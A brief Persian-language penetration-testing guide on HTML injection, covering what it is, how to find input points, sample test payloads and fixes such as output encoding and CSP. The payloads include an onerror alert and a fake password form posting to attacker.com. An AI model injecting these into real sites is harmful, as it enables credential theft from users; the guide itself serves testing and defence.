تست تزریق HTML

تزریق HTML چیست؟

تزریق HTML (HTML Injection) زمانی رخ می‌دهد که برنامه وب داده‌های کاربر را بدون خروجی‌گیری مناسب در صفحه HTML نمایش دهد. مهاجم می‌تواند کد HTML دلخواه را تزریق کند.

انواع تزریق HTML

روش‌شناسی تست

مرحله ۱: شناسایی نقاط ورودی

تمام نقاطی که داده کاربر در صفحه HTML نمایش داده می‌شود شناسایی کنید.

مرحله ۲: تست تزریق

1<h1>Hacked</h1>
2<a href='http://attacker.com'>Click me</a>
3<img src=x onerror=alert(1)>
4<form action='http://attacker.com'>
5  <input name='password' type='password'>
6  <input type='submit' value='Login'>
7</form>

راه‌حل

• خروجی‌گیری مناسب کاراکترهای HTML
• اعتبارسنجی ورودی در سمت سرور
• استفاده از CSP
• عدم نمایش مستقیم داده‌های کاربر